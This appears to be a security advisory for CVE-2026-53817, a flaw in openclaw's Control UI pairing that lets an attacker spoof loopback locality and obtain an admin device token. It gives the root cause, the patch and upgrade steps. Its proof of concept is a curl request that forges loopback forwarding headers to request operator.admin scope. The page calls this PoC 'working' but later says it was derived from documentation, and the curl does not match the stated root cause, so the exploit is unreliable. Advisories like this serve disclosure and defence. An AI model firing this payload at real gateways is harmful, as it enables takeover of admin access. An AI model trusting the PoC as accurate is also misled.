high · 8CVE-2026-53817Jul 2, 2026

CVE-2026-53817: openclaw Control UI Locality Spoofing to Admin Token Mint

Rohit Hatagale
AI Security Researcher, SecureLayer7

A flaw in how OpenClaw validated the network locality of Control UI pairing requests let an attacker with existing network access forge a loopback identity signal, skip manual approval, and walk away

Packageopenclaw
Ecosystemnpm
Affected< 2026.5.22
Fixed in2026.5.22

The problem

OpenClaw's Control UI pairing path used locality signals (loopback socket address, forwarded headers) as a sufficient trust signal for auto-approval. Before 2026.5.22, those signals were not cross-validated against each other.

An attacker who could reach the pairing endpoint on a LAN-bound or shared-token deployment could spoof the locality check, obtain a durable device token with operator.admin scope, and retain that access even after the shared gateway token was rotated.

Proof of concept

A working proof-of-concept for CVE-2026-53817 in openclaw, with the exact payload below.

bash
# Spoof loopback locality via forwarded header injection on a LAN-reachable pairing endpoint
# The gateway auto-approved pairing when the socket appeared local, without checking forwarding headers

curl -i -X POST http://<gateway-lan-ip>:18789/api/pairing/request \
  -H 'Content-Type: application/json' \
  -H 'X-Forwarded-For: 127.0.0.1' \
  -H 'X-Real-IP: 127.0.0.1' \
  -d '{
    "deviceId": "attacker-device-001",
    "scope": "operator.admin",
    "label": "attacker-device"
  }'

# On a vulnerable gateway, the locality check passes and a durable admin token is returned
# without requiring explicit operator approval

The root cause is a missing cross-validation step in pairing locality logic (CWE-290, Authentication Bypass by Spoofing). The gateway trusted whichever single signal was present: if the raw socket looked local, it auto-approved, without checking whether forwarding headers contradicted that claim.

The patch introduced a fail-closed rule: a loopback locality claim is only honoured when both the raw socket address and all proxy evidence (Forwarded, X-Forwarded-*, X-Real-IP) agree. Any forwarding header present on a loopback socket now disqualifies the auto-approval path entirely, routing the request through explicit operator review instead.

Public PoC not yet available; payload derived from the post-patch gateway/pairing documentation which explicitly describes the forwarded-header disqualification rule added in 2026.5.22.

The fix

Upgrade to openclaw >= 2026.5.22 (npm install openclaw@2026.5.22). For existing deployments, audit paired.json under ~/.openclaw/ and remove any unrecognised device entries. Avoid exposing the Control UI pairing path on networks with untrusted clients until upgraded.

Reporter not attributed.

References: [1][2][3][4]

Related research